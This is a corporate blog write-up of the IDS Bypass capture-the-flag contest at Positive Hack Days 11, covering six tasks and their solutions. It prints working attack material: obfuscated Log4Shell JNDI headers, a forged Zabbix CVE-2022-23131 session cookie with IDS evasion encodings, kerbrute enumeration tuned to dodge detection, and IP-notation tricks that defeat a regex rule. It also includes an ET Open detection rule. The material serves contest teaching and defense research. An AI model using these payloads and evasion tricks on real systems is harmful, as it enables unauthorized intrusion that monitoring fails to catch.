Pull to refresh

IDS Bypass at Positive Hack Days 11: writeup and solutions

Positive Technologies corporate blog Information Security *Network technologies *CTF *

The IDS Bypass contest was held at the Positive Hack Days conference for the third time (for retrospective, here's . This year we created six game hosts, each with a flag. To get the flag, participants had either to exploit a vulnerability on the server or to fulfill another condition, for example, to enumerate lists of domain users.

The tasks and vulnerabilities themselves were quite straightforward. The difficulty laid in bypassing the IDS: the system inspected network traffic from participants using special rules that look for attacks. If such a rule was triggered, the participant's network request was blocked, and the bot sent them the text of the triggered rule in Telegram.

And yes, this year we tried to move away from the usual CTFd and IDS logs towards a more convenient Telegram bot. All that was needed to take part was to message the bot and pick a username. The bot then sent an OVPN file to connect to the game network, after which all interaction (viewing tasks and the game dashboard, delivering flags) took place solely through the bot. This approach paid off 100%!

This year's visualization of the contest surpassed all expectations. At the stand, seven CRT TVs served as monitors: one for each task and one for general information. The screens displayed a dashboard as well as information about the number of participants and the number of hacks on the services.

The number of participants this year set a new record. This was partly because IDS Bypass was accessible online to anyone and through the night: at the end of the contest, the main scoreboard displayed 101 participants, roughly a quarter of whom had solved at least one task. In total, IDS Bypass lasted almost 30 hours.

Now let's take a look at the tasks.

Task 1: Log4j (20 points)

This task was worth 20 points, reduced by one point for each solution. As the name implies, the task was to exploit the notorious Log4Shell vulnerability in the popular Log4j library. The vulnerable application in this case was a Docker container. You can also find the exploit there:

	curl -v -H 'X-Api-Version: ${jndi:ldap://}'

This kind of attack is detected by the IDS, and the participant sees a message like the following:

  ATTACK [PTsecurity] log4j RCE aka Log4Shell TCP attempt (CVE-2021-44228)

A few months back, shortly after the exploit for Log4Shell was posted, variants of it for WAF and IDS bypass started to appear. For example, the same exploit can be found in the GitHub repository, but with obfuscated control constructs. The request that ultimately exploits the vulnerability and bypasses the IDS could look as follows:

	curl -v -H 'X-Api-Version: ${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/}'

Having delivered the payload and accepted a connection to port 4444, we get the flag: flag{L0g_FOR_Wh4t?}

Task 2: Zabbix (20 points)

One of the recently found Zabbix vulnerabilities is CVE-2022-23131. This vulnerability in the SSO authorization mechanism allows cookie spoofing to log in to Zabbix without authorization under an admin account. The exploit is on GitHub and is detected by one of the three IDS rules:

  • ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1

  • ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M2

  • ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M3

These rules are publicly available for download as part of the ET Open Ruleset. Here's what the first rule looks like, for example:

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1"; flow:established,to_server; http.uri; content:"/index_sso.php"; startswith; http.cookie; content:"zbx_session="; content:"InVzZXJuYW1lX2F0dHJpYnV0ZSI6"; distance:0; fast_pattern; pcre:"/(?:InNhbWxfZGF0YS|JzYW1sX2RhdGEi|ic2FtbF9kYXRhI)/"; reference:url,blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage; reference:cve,2022-23131; classtype:trojan-activity; sid:2035371; rev:2; metadata:attack_target Server, created_at 2022_03_02, cve CVE_2022_23131, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_02;)

Many participants took advantage of another popular exploit. Uncommenting line 62 therein resulted in the exploit outputting the value of the zbx_session cookie, which had to be set in the browser:

Cookie: zbx_session= eyJzYW1sX2RhdGEiOiB7InVzZXJuYW1lX2F0dHJpYnV0ZSI6ICJBZG1pbiJ9LCAic2Vzc2lvbmlkIjogImZkYmQ2Y2JiYmIyMTEzM2RmNDM3NmU0YzRhZjc0OTIwIiwgInNpZ24iOiAiRENoZHZWUHBubEZBMEpqVFVDV2lHWkZaZWZ6OU1MMnlxTlpubzVPUkRQeDJDaGhiN0hOVWV1VjRPN2QwYWY5T2d5b09ONjhPYmdOWkgzMGhnV1c3NlE9PSJ9

This should have enabled the participant to get into the Zabbix admin panel. But having come this far, they received an alert from the IDS:

ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1

To bypass the IDS, many participants URL-encoded the value of the zbx_session cookie:

Cookie: zbx_session= %65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%69%42%37%49%6e%56%7a%5a%58%4a%75%59%57%31%6c%58%32%46%30%64%48%4a%70%59%6e%56%30%5a%53%49%36%49%43%4a%42%5a%47%31%70%62%69%4a%39%4c%43%41%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%67%49%6d%5a%6b%59%6d%51%32%59%32%4a%69%59%6d%49%79%4d%54%45%7a%4d%32%52%6d%4e%44%4d%33%4e%6d%55%30%59%7a%52%68%5a%6a%63%30%4f%54%49%77%49%69%77%67%49%6e%4e%70%5a%32%34%69%4f%69%41%69%52%45%4e%6f%5a%48%5a%57%55%48%42%75%62%45%5a%42%4d%45%70%71%56%46%56%44%56%32%6c%48%57%6b%5a%61%5a%57%5a%36%4f%55%31%4d%4d%6e%6c%78%54%6c%70%75%62%7a%56%50%55%6b%52%51%65%44%4a%44%61%47%68%69%4e%30%68%4f%56%57%56%31%56%6a%52%50%4e%32%51%77%59%57%59%35%54%32%64%35%62%30%39%4f%4e%6a%68%50%59%6d%64%4f%57%6b%67%7a%4d%47%68%6e%56%31%63%33%4e%6c%45%39%50%53%4a%39

This illustrates well how IDS Bypass tasks can have multiple solutions. Initially, bypassing a specific rule was envisaged. For example, after decoding, we get the following contents of the zbx_session cookie:

{"saml_data": {"username_attribute": "Admin"}, "sessionid": "fdbd6cbbbb21133df4376e4c4af74920", "sign": "DChdvVPpnlFA0JjTUCWiGZFZefz9ML2yqNZno5ORDPx2Chhb7HNUeuV4O7d0af9OgyoON68ObgNZH30hgWW76Q=="}

The Base64-encoded strings from the IDS rule are decoded as follows:

  • "username_attribute":

  • "saml_data

By putting a space before the colon in the username_attribute key, we do not violate the JSON structure, but bypass the above IDS rule. This also gets us a flag (the sessionid and sign fields are optional):

Cookie: zbx_session= eyJzYW1sX2RhdGEiIDp7InVzZXJuYW1lX2F0dHJpYnV0ZSIgOiJBZG1pbiJ9LCAic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9

The flag was hidden in the list of Zabbix users.

Task 3: EVIL.CORP (30 points)

The task description instructed the participant to enumerate the list of users in the EVIL.CORP domain using the Kerberos protocol. Usernames have a strictly defined format: user[1..16]_[a..z0..9]. Peace of cake, right? However, the task mentioned some kind of protection based on ML...

Users can be enumerated with any suitable tool (for example, kerbrute). We generate a list of users and launch the enumeration:

kerbrute -dc-ip -domain evil.corp -threads 2 -users usernames.txt;

Almost immediately we receive IDS alerts (one for each thread). Some participants set the number of threads equal to the number of users, which, unsurprisingly, did not bring success:

ANOMALY [PTsecurity] Your traffic looks like kerberos user enumeration (Too many usernames). Blocked for 300 seconds

We not only get a rule triggering, but also are blocked for five minutes. That gives us time to think.

The ML abbreviation in the task description is there purely to intimidate. Instead of ML, there is a simple algorithm that increments a counter if it detects login attempts by different users, and decrements it if a user is repeated. When the counter reaches the threshold value, the rule is triggered. To bypass this algorithm, it is enough to add each user to the list three times in sequence. Kerbrute will then work with two threads:

date; /home/user/.local/bin/kerbrute -dc-ip -domain evil.corp -threads 2 -users usernames.txt; date
Fri Apr 29 17:13:47 MSK 2022
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation

[*] Valid user => user1_d2
[*] Valid user => user2_de
[*] Valid user => user3_3e
[*] Valid user => user4_88
[*] Valid user => user5_e1
[*] Valid user => user6_fa
[*] Valid user => user7_80
[*] Valid user => user8_0f
[*] Valid user => user9_be
[*] Valid user => user10_d9
[*] Valid user => user11_02
[*] Valid user => user12_a9
[*] Valid user => user13_99
[*] Valid user => user14_51
[*] Valid user => user15_1e
[*] Valid user => user16_33
[*] No passwords were discovered :'(
Fri Apr 29 17:20:27 MSK 2022

We get the flag d2de3e88e1fa800fbed902a999511e33 in 6 minutes 40 seconds.

Task 4: WIN-FS98F6 (35 points)

During this task, after scanning the ports of host, the participant discovered only port 445. By accessing the host via SMB with any client, the participant found only one share available to anonymous users:

user@ubuntu1:~$ smbclient.py
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# shares
# use flag
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# use users
# ls
-rw-rw-rw-        105  Sat May  7 18:02:48 2022 users.txt
# cat users.txt
I can even publish my credentials here. Our IDS is so good, no one won't get through

References to The Lord of the Rings in this task are limited to the user having the name sammy. On attempting to log in as this user, the participant got an alert, with smbclient from the samba-tool suite and smbclient.py from the Impacket library receiving different notifications:

	smbclient.py sammy:samm3P@ssw0rd@
  ATTACK [PTsecurity] User sammy login from unknown place

	smbclient // -U Sammy
	ATTACK [PTsecurity] User sammy login from wrong place (0%)

Generally, the packet that blocks the IDS, after which the alert is sent, is the cause of this alert. By logging their network traffic before the alert, the participant discovered that the IDS was blocking the NTLMSSP packet with an NTLMSSP_AUTH message.

By comparing these packets from the two tools mentioned above, one (smbclient.py) did not set the value of the Host name field in the NTLMSSP_AUTH message, while the other did. For example, in the screenshot below our host was called UBUNTU1.

Now it was just a matter of bruteforcing the host name, starting with the first letter, and finding the correct one. The percentages in the name of the alert helped the participant know they had got the next character right. The correct host name was SAMDESKTOP.

user@ubuntu1:~$ smbclient // -U sammy
smb: \> ls
  flag.txt                            N       29  Wed May 11 23:38:27 2022
smb: \> get flag.txt
getting file \flag.txt of size 29 as flag.txt (0.3 KiloBytes/sec) 
smb: \> exit
user@ubuntu1:~$ cat flag.txt

This task is similar to one of the intruder detection mechanisms for when attackers try to log under user accounts from unusual hosts.

Task 5: ABC (45 points)

The more complex the task, the higher its value, and vice versa. Only one participant, psih1337, managed to solve it, thereby securing first place.

Participants were given the domain ABC.XYZ and a host named DC. They were instructed to take the account details sammy:samm3P@ssw0rd from the previous task. There were only two open ports on the host: 88 and 445. This set of ports seemed to hint that the participant must get a Kerberos ticket and use it to access the share via SMB. NTLM authorization was disabled in this task.

smbclient.py -k -dc-ip ABC.XYZ/sammy:samm3P@ssw0rd@DC

After this command, the participant received an alert:

ATTACK [PTsecurity] Block TGS request with probably malicious TGT ticket

IDS blocked the TGS request for the cifs/DC service because it contained a malicious TGT ticket. The word "malicious" had no literal meaning here and was intended merely to draw the participant's attention to the TGT ticket.

Only three hours remained till the end of the contest, and no one could solve this task. So two hints were issued:

  • Hint for task ABC: Do not stick to the TGT details. Take a look at the whole picture

  • Hint 2 for task ABC: How many ways of getting TGT you know?

Participant psih1337 was able to bypass IDS protection and get the flag, aided (somewhat surprisingly) by their operating system: The TGS request was larger (about 1.5 KB) than the standard MTU, so the network stack had to split one request into two TCP fragments, like this:

The blocking rule checked the content at the beginning and the end of the packet, according to the structure of Kerberos requests. As long as the OS was splitting packets as pictured, there were no problems with attack detection and blocking. However, after three unanswered TGS requests, the Windows network stack split the request into three smaller chunks of around 500 bytes.

The blocking rule could not cope with this trick and missed the issuing of a TGS ticket. As a result, the flag was captured. The network stack in Linux behaves differently and does not break packets into smaller fragments.

> C:\Python39\python.exe smbclient.py ABC.XYZ/sammy:samm3P@ssw0rd@DC -port 445 -k -debug  -dc-ip
[+] Trying to connect to KDC at
[+] Trying to connect to KDC at
[+] Trying to connect to KDC at
Type help for list of commands
# use FLAG
# cat flag.txt
# Bye!

Because the inherent solution vector was not implemented, the task has been carried over to the next IDS Bypass, where the described method will no longer work.

Task 6: Flask (25 points)

The description was misleading. This task was the simplest and had many solutions. There was a web server on the host. The contestants had to enter their IP address into a form to make the server send a flag to this host.

On entering their address (, the participant received an alert:

ATTACK [PTsecurity] IP address in URL. Probably code execution exploit

The trigger mechanism is as simple as can be: the IDS rule looks for an IP address in the URL string with a regular expression: \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}. The server, by contrast, uses the user-entered IP address as the destination address in Scapy to send an ICMP packet to the specified host.

As is known, there are many forms of IP address representation, many of which are accepted by network utilities. Here are the solutions we saw in the contest:

  • 10.8.0000.26

  • 168296474

  • 10.8.0x0.26

  • Domain name

As a result, the server sent the flag in the form of an ICMP echo packet.

We hope the participants had fun solving this task.


It was a nail-biter! The scramble for medal places went down to the wire: participant Abr1k0s finished enumerating users in the EVIL.CORP task a minute before the end of the contest, snatching bronze with 111 points. That was just a single point ahead of the fourth-place finisher. The winners received cash prizes and memorabilia.


1️⃣ psih1337

2️⃣ OneManTeam

3️⃣ Abr1k0s

💰 Points: 162

 💰Points: 121

 💰Points: 111

 🏅 Tasks solved: 6

🏅 Tasks solved: 5

 🏅 Tasks solved: 5

Thanks, everyone! We promise to prepare even more exciting challenges for you next year. See you at PHDays 12!

Written by @ajaxtpm

Total votes 3: ↑3 and ↓0 +3
Views 762
Comments Leave a comment


1,001–5,000 employees